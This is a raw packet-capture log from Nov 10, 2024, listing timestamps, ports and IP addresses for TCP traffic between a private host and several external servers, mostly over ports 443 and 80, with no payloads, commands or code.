Nov 10, 2024 19:44:07.991890907 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.997250080 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:07.997299910 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:07.997306108 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.000633001 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.000680923 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:08.000685930 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.003720045 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.003941059 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:08.003946066 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.007253885 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.007317066 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:08.007320881 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.010152102 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.010225058 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:08.010231018 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.013334990 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.013396025 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:08.013401985 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.016556978 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.016618013 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:08.016623974 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.059096098 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:08.059099913 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.059463978 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:08.059499979 CET	443	49734	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:08.059562922 CET	49734	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:09.111247063 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:09.111306906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:09.754002094 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:09.754010916 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:09.754065990 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:09.754220963 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:09.754231930 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.482063055 CET	49747	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:10.482089996 CET	443	49747	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:10.482167006 CET	49747	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:10.482487917 CET	49747	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:10.482502937 CET	443	49747	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:10.614401102 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.617278099 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.617288113 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.618344069 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.618433952 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.619378090 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.619466066 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.619561911 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.667334080 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.667679071 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.667686939 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.714493036 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.757905006 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:10.757931948 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:10.757988930 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:10.758219004 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:10.758230925 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:10.866064072 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.866121054 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.866156101 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.866183043 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.866198063 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.866245031 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.866250038 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.866272926 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.866312981 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.866317987 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.874344110 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.874500036 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.874505997 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.917594910 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.917604923 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.931179047 CET	49750	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:10.931205988 CET	443	49750	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:10.931279898 CET	49750	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:10.932842016 CET	49750	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:10.932857037 CET	443	49750	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:10.964071035 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.984754086 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.984817028 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.985004902 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.985013962 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.986061096 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.986491919 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.986498117 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.990668058 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.994496107 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:10.994508028 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:10.999265909 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.002497911 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.002507925 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.008213043 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.009769917 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.009777069 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.016732931 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.018496037 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.018502951 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.025374889 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.026530981 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.026536942 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.034245968 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.034341097 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.034351110 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.044533968 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.045965910 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.045975924 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.090154886 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.090164900 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.104290009 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.104321957 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.104357004 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.104443073 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.104443073 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.104450941 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.104626894 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.104674101 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.104681015 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.104975939 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.105005026 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.105052948 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.105058908 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.105099916 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.106240988 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.109647989 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.109689951 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.109695911 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.116384029 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.116439104 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.116445065 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.122417927 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.122463942 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.122469902 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.128480911 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.128511906 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.128570080 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.128577948 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.128629923 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.134502888 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.140657902 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.140712976 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.140719891 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.146553993 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.146598101 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.146605015 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.152736902 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.152781010 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.152801991 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.152812958 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.152864933 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.158885956 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.164854050 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.164891005 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.164896965 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.164902925 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.165100098 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.170901060 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.177033901 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.177072048 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.177083015 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.177088022 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.177139997 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.184376955 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.189892054 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.189927101 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.189973116 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.189979076 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.190020084 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.195833921 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.222214937 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.222246885 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.222275972 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.222287893 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.222301960 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.222327948 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.222335100 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.222368956 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.222398996 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.222405910 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.222444057 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.223042965 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.223812103 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.223853111 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.223855019 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.223864079 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.223900080 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.229295015 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.235016108 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.235059023 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.235075951 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.238354921 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.238414049 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.238421917 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.242060900 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.242084980 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.242101908 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.242110014 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.242142916 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.242300987 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.242346048 CET	443	49745	142.250.186.78	192.168.2.4
Nov 10, 2024 19:44:11.242480040 CET	49745	443	192.168.2.4	142.250.186.78
Nov 10, 2024 19:44:11.330691099 CET	443	49747	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:11.335290909 CET	49747	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:11.335361004 CET	443	49747	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:11.336499929 CET	443	49747	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:11.336558104 CET	49747	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:11.336909056 CET	49747	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:11.336968899 CET	443	49747	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:11.378695965 CET	49747	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:11.378705025 CET	443	49747	142.250.185.100	192.168.2.4
Nov 10, 2024 19:44:11.418168068 CET	49747	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:11.614603043 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:11.614878893 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:11.614902020 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:11.615273952 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:11.615345001 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:11.616034031 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:11.616086006 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:11.617152929 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:11.617207050 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:11.617386103 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:11.617393017 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:11.617405891 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:11.659332037 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:11.667529106 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:11.775732994 CET	443	49750	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:11.775800943 CET	49750	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:11.779891014 CET	49750	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:11.779901981 CET	443	49750	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:11.780141115 CET	443	49750	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:11.823770046 CET	49750	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:11.826672077 CET	49750	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:11.867327929 CET	443	49750	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:11.896368027 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:11.948760986 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:11.948770046 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:11.950859070 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:11.950895071 CET	443	49748	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:11.950953007 CET	49748	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:12.040175915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:12.040874004 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:12.045133114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:12.045702934 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:12.045789957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:12.045916080 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:12.045937061 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:12.050683022 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:12.050693035 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:12.071161985 CET	443	49750	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:12.071227074 CET	443	49750	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:12.071269035 CET	49750	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:12.071444988 CET	49750	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:12.071465015 CET	443	49750	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:12.071475983 CET	49750	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:12.071480989 CET	443	49750	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:12.109464884 CET	49754	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:12.109483004 CET	443	49754	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:12.109549046 CET	49754	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:12.109888077 CET	49754	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:12.109899998 CET	443	49754	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:12.351717949 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:12.351742983 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:12.354548931 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:12.355736971 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:12.355752945 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:12.989407063 CET	443	49754	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:12.989517927 CET	49754	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:12.990712881 CET	49754	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:12.990720987 CET	443	49754	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:12.990946054 CET	443	49754	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:12.992033958 CET	49754	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:13.035331011 CET	443	49754	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:13.060256004 CET	49756	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:13.060291052 CET	443	49756	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:13.060874939 CET	49756	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:13.060923100 CET	49756	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:13.060930967 CET	443	49756	142.250.185.238	192.168.2.4
Nov 10, 2024 19:44:13.245698929 CET	443	49754	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:13.245754004 CET	443	49754	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:13.246556044 CET	49754	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:13.246611118 CET	49754	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:13.246611118 CET	49754	443	192.168.2.4	184.28.90.27
Nov 10, 2024 19:44:13.246623039 CET	443	49754	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:13.246630907 CET	443	49754	184.28.90.27	192.168.2.4
Nov 10, 2024 19:44:13.449822903 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:13.449904919 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:13.466346979 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:13.466411114 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:13.535552979 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:13.535568953 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:13.535837889 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:13.589241028 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:13.657845974 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:13.657875061 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:13.662841082 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:13.662933111 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:13.662986040 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:13.690077066 CET	49747	443	192.168.2.4	142.250.185.100
Nov 10, 2024 19:44:13.690406084 CET	49756	443	192.168.2.4	142.250.185.238
Nov 10, 2024 19:44:14.320635080 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:14.363334894 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.439234972 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:14.442704916 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:14.495176077 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:14.501641035 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:14.695993900 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.696014881 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.696022987 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.696053982 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.696064949 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.696072102 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.696111917 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:14.696111917 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:14.696129084 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.696162939 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:14.696190119 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:14.696832895 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.696938992 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:14.696947098 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.748605013 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:14.820837021 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.820894003 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:14.820943117 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:15.275657892 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:15.275768995 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:15.332370996 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:15.332381010 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:15.332400084 CET	49755	443	192.168.2.4	4.175.87.197
Nov 10, 2024 19:44:15.332406044 CET	443	49755	4.175.87.197	192.168.2.4
Nov 10, 2024 19:44:15.715567112 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:15.720578909 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:16.488403082 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:16.492707968 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.254157066 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.258940935 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.531447887 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.531487942 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.531497955 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.531512976 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.531518936 CET	80	49753	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:17.531528950 CET	49753	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:17.531531096 CET	80	49753	185.215.113.206	192.168.2.4
